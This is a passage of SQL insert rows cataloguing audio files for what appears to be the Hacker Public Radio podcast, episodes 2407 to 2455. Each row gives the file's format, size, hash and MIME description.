(2407,'hpr2407.ogg','ogg',10897573,'89ccf9c14de569aa02f2e12dcb590fbf7d5dfd62','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2407,'hpr2407.spx','spx',4891458,'f73e07caf78c8206921e049a2fc539aefba4dae4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2408,'hpr2408.mp3','mp3',3066507,'0508cd1f75fb389382e72a70ee43ce0ccc2cc081','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2408,'hpr2408.ogg','ogg',3504384,'51b7840c49f0415f5cb765a6001914fd7ee5408f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2408,'hpr2408.spx','spx',1369190,'d9a83842b66472594214ea380690deaf2a1edca8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2409,'hpr2409.mp3','mp3',10342357,'76796f36966f62663a96d0dc7f013343f545e894','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2409,'hpr2409.ogg','ogg',11083104,'4113f9ae79fb46d7851717bae6055db364c314ca','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2409,'hpr2409.spx','spx',4618748,'dea1f94abb56a58383d797719c23c1e052e254d8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2410,'hpr2410.mp3','mp3',12127263,'8b3803b5ea5de97f1039bf39167c1184f9bdf6f4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2410,'hpr2410.ogg','ogg',14014120,'6ae10f489708671f825dbbf2838a67a17a095891','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2410,'hpr2410.spx','spx',5415868,'02b46b83e002c7a62d1d4e2a24e113c91f41a1ba','application/ogg; charset=binary','Ogg data, Speex audio'),
(2411,'hpr2411.mp3','mp3',21818493,'d83e8d5a6d7517deade40668d9249aeb2acaf656','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2411,'hpr2411.ogg','ogg',26033965,'832b1c052b5d6190f6dd69d3e55b3f356d3d197d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2411,'hpr2411.spx','spx',9744077,'5f78ca9b2f05c9ce45a7867a19b32003315f13d6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2412,'hpr2412.mp3','mp3',40399473,'60411e66017caed6daf0681a3ad1fa80dff0fde4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2412,'hpr2412.ogg','ogg',45254204,'7d242dc9e297065997569869ce4053e439535b0b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2412,'hpr2412.spx','spx',18042563,'bc0c913c4ff670f0a6744aa556f1dd94862b59aa','application/ogg; charset=binary','Ogg data, Speex audio'),
(2413,'hpr2413.mp3','mp3',3826362,'45dafc00d109cfacce39aaee71008a1a361183c2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2413,'hpr2413.ogg','ogg',4252124,'11054cf4f9cece111c3ad1bd36182bc403ca2aee','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2413,'hpr2413.spx','spx',1708632,'445525882a6ac1c7c6f3b8591acd9e148d92eb53','application/ogg; charset=binary','Ogg data, Speex audio'),
(2414,'hpr2414.mp3','mp3',11739779,'7eb4f11a4077e8a76ee24bfac6867ed0e1ea9ff0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2414,'hpr2414.ogg','ogg',13859899,'f556d2a3b8cc88158494d0f06df33ec814328630','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2414,'hpr2414.spx','spx',5242834,'54c4067d38cc395763378a8d8f7671ab291ce25e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2415,'hpr2415.mp3','mp3',8477179,'4836088ccfbdf4e901f93041250f4bee5298374c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2415,'hpr2415.ogg','ogg',9225824,'ce9f07d435d21f4ca31d0c8810219b568db4c0ca','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2415,'hpr2415.spx','spx',3785648,'82a2884b31f9a34428005850dc0a8d07932915e0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2416,'hpr2416.mp3','mp3',38847194,'a3cb89c0b1178cf923c732a581ed750ac784a47e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2416,'hpr2416.ogg','ogg',37718037,'a1c7d25366cf33b93893c31bd6c5c9307b401c56','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2416,'hpr2416.spx','spx',17349287,'b85285bb17fbb5af21ec1c6e2e472470fa2b6901','application/ogg; charset=binary','Ogg data, Speex audio'),
(2417,'hpr2417.mp3','mp3',7569260,'b34f9898b88054beb1aa1495da1db8ed79edac9f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2417,'hpr2417.ogg','ogg',7890153,'0618aab10c9527f3a8933d2d7e1a3f305e602072','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2417,'hpr2417.spx','spx',3380301,'2be2753a6899c724200f3ebbabc58797cd1e6dfc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2418,'hpr2418.mp3','mp3',12741208,'26e5cd83237c4e61aa5abeeec7c11e890a8c69fb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2418,'hpr2418.ogg','ogg',14930354,'679970def0ab686a3053e605255b9d717ebfe8f4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2418,'hpr2418.spx','spx',5690084,'df88cde836085ce6aa7634e06ad7612f9237f803','application/ogg; charset=binary','Ogg data, Speex audio'),
(2419,'hpr2419.mp3','mp3',61796742,'255fc98a7ed13681aece06a9a32c51a2aee637bc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2419,'hpr2419.ogg','ogg',68145932,'38b0b5a8287d7306b50c5dd0c8f9ab8c8b34b64f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2419,'hpr2419.spx','spx',27598801,'5ea25de37d7f9cce85e820ef2a76d99148055d90','application/ogg; charset=binary','Ogg data, Speex audio'),
(2420,'hpr2420.mp3','mp3',8908562,'eecc496c22f06db75b09286f9b7d4a84b77be1bd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2420,'hpr2420.ogg','ogg',9647935,'42384efb78de49319eb3f8d87b6df2e434dedd5b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2420,'hpr2420.spx','spx',3978427,'d9302a4ced8f4f966e1356e960fbd2032bc2c9cc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2421,'hpr2421.mp3','mp3',5218367,'d8b94aa0888e143ecffcb5307bad80f4db5ec4e5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2421,'hpr2421.ogg','ogg',5557823,'7650f3396b640383aa038b224b7b1dc0fb9ec161','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2421,'hpr2421.spx','spx',2330364,'5ee512515bdb60705d8ed482f9dda33223d28239','application/ogg; charset=binary','Ogg data, Speex audio'),
(2422,'hpr2422.mp3','mp3',22394182,'db27edf1f9dd0ba8c334a1e7e19e7c625b102ed8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2422,'hpr2422.ogg','ogg',21442956,'f2d5f4e37078d28a2b5066cea7286ba1fd7caf28','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2422,'hpr2422.spx','spx',10001203,'2631761b7dc92471772e3b7cf1d7a7ceabb71048','application/ogg; charset=binary','Ogg data, Speex audio'),
(2423,'hpr2423.mp3','mp3',3741970,'6859b4c3cd17df0c9b1ecdf1b3dd12f4966a5d7c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2423,'hpr2423.ogg','ogg',3626953,'7d05b925d04cb40a714829fecd3b1b3e7fb07c06','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2423,'hpr2423.spx','spx',1670937,'f9bd42691762cc841304f1aad32c0affaac328ff','application/ogg; charset=binary','Ogg data, Speex audio'),
(2424,'hpr2424.mp3','mp3',24376355,'69fa255d87d80300f4f099260e31799de7b45518','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2424,'hpr2424.ogg','ogg',26654433,'36c9900ab49f874b41ceb8d6c44613af1352ba25','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2424,'hpr2424.spx','spx',10886423,'c50e04f878080f3ad0965b4d023385d143526ec4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2425,'hpr2425.mp3','mp3',20283467,'3c11db1be301d124e60ce9e91ced3f8f1d58ac2b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2425,'hpr2425.ogg','ogg',19930665,'d3e8f55257f400b7d1ad0fc35e1eb6c45b2c48ce','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2425,'hpr2425.spx','spx',9058501,'519bdbc61559e63179ce16c8b93f3cbb88b352f6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2426,'hpr2426.mp3','mp3',6325563,'1eadc31f3388de1f3367a315f3bb6de51004d15b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2426,'hpr2426.ogg','ogg',6745607,'e7b1115acc78855ce43618ad2ea14aecc2b12acb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2426,'hpr2426.spx','spx',2824794,'311ae8ca728b64392112e71587898b5160daf716','application/ogg; charset=binary','Ogg data, Speex audio'),
(2427,'hpr2427.mp3','mp3',21803405,'ab936536b6932805bf9548428a2df334c7ce3edc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2427,'hpr2427.ogg','ogg',23335818,'eaabe2b25f7df9f583c8fe65c466da0b8912997e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2427,'hpr2427.spx','spx',9737379,'a35c753350aba5b77533050cc27d44fd672efdc1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2428,'hpr2428.mp3','mp3',16115995,'660affff5351530cc0ca049aa88245129b2a04c5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2428,'hpr2428.ogg','ogg',16769002,'a07721c95c902a696688d51013993baf9bef7ac3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2428,'hpr2428.spx','spx',7197327,'9e8c85dfa542a3bd117e2a5d20988061eabb4485','application/ogg; charset=binary','Ogg data, Speex audio'),
(2429,'hpr2429.mp3','mp3',15518762,'765c34318c2067754b18b5addb1011297ff177d7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2429,'hpr2429.ogg','ogg',16362606,'4418e7d0489f290a70dfc06a8aca3a103983c42f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2429,'hpr2429.spx','spx',6930588,'853c0a0e23e35998496b8b7a50954003aa66b5e2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2430,'hpr2430.mp3','mp3',6986952,'1a6bf794cbfb7692f62f2cad58097863e04becce','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2430,'hpr2430.ogg','ogg',7677368,'7633d50fb2ca9cddb5b5f5f7cff25d14ef163ea8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2430,'hpr2430.spx','spx',3120167,'106b942d47072ca19037217681197c155bf78d3c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2431,'hpr2431.mp3','mp3',19771548,'45237744686ead58dda282e25bbb324fdc3e954d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2431,'hpr2431.ogg','ogg',23818954,'a005ac4ab7ac8c79ef3bd1afa10bcf7dd5e03e4b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2431,'hpr2431.spx','spx',8829854,'dd5653c08d39149155c900cf0fecf3f741948e2d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2432,'hpr2432.mp3','mp3',3652510,'9d2357b9ccde98d297588b3c327a845c2918643e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2432,'hpr2432.ogg','ogg',4031972,'ca7db3696c80e20c9b4a6c3496a1b122458c93a7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2432,'hpr2432.spx','spx',1631035,'6c0170c475b34398737f5b129f2a283c94d44b64','application/ogg; charset=binary','Ogg data, Speex audio'),
(2433,'hpr2433.mp3','mp3',5207677,'a79744f435be531a0238300b543daeee1ec2fbe5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2433,'hpr2433.ogg','ogg',5695036,'f804fb5817d9a51ab310e8b2ce6467ff71c8f8bf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2433,'hpr2433.spx','spx',2325476,'f1efd4f9f3a95e4a7aa02fa2901368b8ab180336','application/ogg; charset=binary','Ogg data, Speex audio'),
(2434,'hpr2434.mp3','mp3',47949674,'6e82820dc08a47cf2e0e6defed068bb1995a786c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2434,'hpr2434.ogg','ogg',51671105,'4bae00b6522755198fb580bada1050c4cf036698','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2434,'hpr2434.spx','spx',21414488,'dd7a2eb219886b1f85cf19d1fb3c42a8a46f66c5','application/ogg; charset=binary','Ogg data, Speex audio'),
(2435,'hpr2435.mp3','mp3',24495485,'48d30ae251f305d227785bf996597b0c7d049cb0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2435,'hpr2435.ogg','ogg',26241003,'88f04c50aa65d619c4ca8276c2a134e8f695699c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2435,'hpr2435.spx','spx',10939653,'ab433b9ba8b725ff2931d0e334ee0c3afa33456d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2436,'hpr2436.mp3','mp3',42266938,'b3dddfecdc7df5638affe9476be421d36f46036b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2436,'hpr2436.ogg','ogg',40945336,'f9f3776d45a9166f7b68ef2cac85d46edd640826','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2436,'hpr2436.spx','spx',18876644,'a59bbe00a0e6230762095e222c618470db1691bc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2437,'hpr2437.mp3','mp3',20646292,'af6d033aedc02c0ea68c0367e0a254d7bdc274a8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2437,'hpr2437.ogg','ogg',22951907,'e44217b394220d51d38014e345ff4a3fbcef449c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2437,'hpr2437.spx','spx',9220522,'d6427d371ddf9dc3a439b5ecd4c4a55bf5b72988','application/ogg; charset=binary','Ogg data, Speex audio'),
(2438,'hpr2438.mp3','mp3',10984491,'c25954771bb07a95de889186afd43981e492f95d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2438,'hpr2438.ogg','ogg',12347889,'01bc09968eb39e7b2c1a0a3684865cc9ad1c107c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2438,'hpr2438.spx','spx',4905446,'a5f0d36f342a54ca96e0489e0d6550e753aa4998','application/ogg; charset=binary','Ogg data, Speex audio'),
(2439,'hpr2439.mp3','mp3',10294063,'e1becf59a3a8a21525ae23db80cfd3b6c5b61468','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2439,'hpr2439.ogg','ogg',10887928,'d2a54ff33848b7a806f8045b51c5aee96308d77b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2439,'hpr2439.spx','spx',4597152,'a3435e0b91410aa087bcaa3b34854dbe02d60e9a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2440,'hpr2440.mp3','mp3',7188821,'8fc9a3a934a6d8c91a4ba71906e058e782a3d9fe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2440,'hpr2440.ogg','ogg',7491155,'92ae8da9b6cce22fb1943d36589108291667eacd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2440,'hpr2440.spx','spx',3210357,'1ac595df78340e51fa2e57e9a6cbc82b667d177d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2441,'hpr2441.mp3','mp3',15246837,'4b498476e22c16c8e48d21f92c1d6014d9930435','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2441,'hpr2441.ogg','ogg',16411488,'8c2e2df4963e1da9b246821ee3c52e3e37b8bda6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2441,'hpr2441.spx','spx',6809061,'046aa441c2fc977e0b51e848486fb8c520ca4f2e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2442,'hpr2442.mp3','mp3',8622944,'867610e8f67aba5731757c9c76b62cd897b66a77','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2442,'hpr2442.ogg','ogg',9177635,'f32171ce9548ece0caaf3bf91159593025a882bd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2442,'hpr2442.spx','spx',3850868,'d7266a6753065f5e3f8282a679510874b3ffe62f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2443,'hpr2443.mp3','mp3',8484933,'89b0bcb1d35526200faa163864f4bb542bf2002d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2443,'hpr2443.ogg','ogg',9521604,'5dae5d13e377abed2949d2eb31043ac660f48129','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2443,'hpr2443.spx','spx',3789177,'d6d7e06b798249121b1240df679a2ae24f8e3f6c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2444,'hpr2444.mp3','mp3',15695354,'0fc7644331a7b58ca199b5371e338b6e31a08193','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2444,'hpr2444.ogg','ogg',17467663,'8ee9ac71da4dab6e59244eb4bb77a8bfded86795','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2444,'hpr2444.spx','spx',7009418,'24bd35401fb1a9f784a56908bebe863f9248c87f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2445,'hpr2445.mp3','mp3',24271711,'46674bf9d23e79670260e1a7f682b7df90e1d2de','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2445,'hpr2445.ogg','ogg',25482908,'7abde91b386e5eaf3def12283d924868d98c2ef7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2445,'hpr2445.spx','spx',10839791,'4c7ec9030a65cd0704b889c51947a92de1633463','application/ogg; charset=binary','Ogg data, Speex audio'),
(2446,'hpr2446.mp3','mp3',20667819,'88bb58f438bf36a13f24c047033611308abb4590','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2446,'hpr2446.ogg','ogg',22177065,'83583dc8db40043b42d1626b86b3682ad3a0b1bf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2446,'hpr2446.spx','spx',9230190,'57030d085d4bcaf29e3328d4e7e12e23d78cc288','application/ogg; charset=binary','Ogg data, Speex audio'),
(2447,'hpr2447.mp3','mp3',21681377,'5eb6057d84fb58e3da4f4d704fab67139b39c472','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2447,'hpr2447.ogg','ogg',22197695,'45d429cd0340d0613826994c7c2530d1b445d523','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2447,'hpr2447.spx','spx',9682871,'5097342f41d3fa884ed83b9f7e279d545eb72f4c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2448,'hpr2448.mp3','mp3',17358213,'1940fcae34ae34d9690b44a35509b667be203aa8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2448,'hpr2448.ogg','ogg',19138285,'7bf85ecc67ccaf102d1919b9a4ce2c670ecf9224','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2448,'hpr2448.spx','spx',7752152,'5b0af50ba1f413b04cee0e6a53890f6cc010a5a0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2449,'hpr2449.mp3','mp3',5689397,'50a88ba4e15d3ed593854532c5759a75a42a7f33','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2449,'hpr2449.ogg','ogg',6265207,'9cf4fb54a785a6b1f680c3178c18327e9bc8611f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2449,'hpr2449.spx','spx',2540657,'01b90587912801fc977b8d9fb1091dbd22082363','application/ogg; charset=binary','Ogg data, Speex audio'),
(2450,'hpr2450.mp3','mp3',5954623,'c8ae49d8e92583d507fd988c424eee8a65d7f213','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2450,'hpr2450.ogg','ogg',6773229,'0a4c6fd7a1715b8ee761dcbf71970e33a0aa4e7b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2450,'hpr2450.spx','spx',2659162,'792565404ea79e9ffdd41d1a075e032c44751905','application/ogg; charset=binary','Ogg data, Speex audio'),
(2451,'hpr2451.mp3','mp3',15740300,'2b36c6e152194bd72f30564b8bbabada65770793','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2451,'hpr2451.ogg','ogg',15703245,'237413319c2dc1cd739baafb7e871ef241152ae4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2451,'hpr2451.spx','spx',7029519,'ff9fd8bc8f32e8fa8ad9cc20b2a21b68226505d1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2452,'hpr2452.mp3','mp3',11788895,'4d4563b3e06dfa11e46cc88046684e79bdf74c57','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2452,'hpr2452.ogg','ogg',13333492,'d6224399fcc702b95690697ec06e1b0261756c24','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2452,'hpr2452.spx','spx',5264772,'b9133bc39a7ca10ce5993e12ec01807faa5180d4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2453,'hpr2453.mp3','mp3',10405487,'ad77e21aaafc7c717eff86cb0344457c8c12ec73','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2453,'hpr2453.ogg','ogg',11591234,'cf5aca703fd559c23b7d363deacfff7795738163','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2453,'hpr2453.spx','spx',4646930,'cc13ffb7da78618573b7de7da6289ca2011c0624','application/ogg; charset=binary','Ogg data, Speex audio'),
(2454,'hpr2454.mp3','mp3',52231762,'7c8091b39f3c6ec61e189006cf2aff46c8fed657','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2454,'hpr2454.ogg','ogg',60194615,'304da6382bad4324deba562d3ebce68b43c7cc99','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2454,'hpr2454.spx','spx',23327059,'f5e9ffd489ff548707a38c178112b3a0e962838a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2455,'hpr2455.mp3','mp3',40881993,'71ef7c66ab9b837e091af50d5c8c4976ac3542f0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
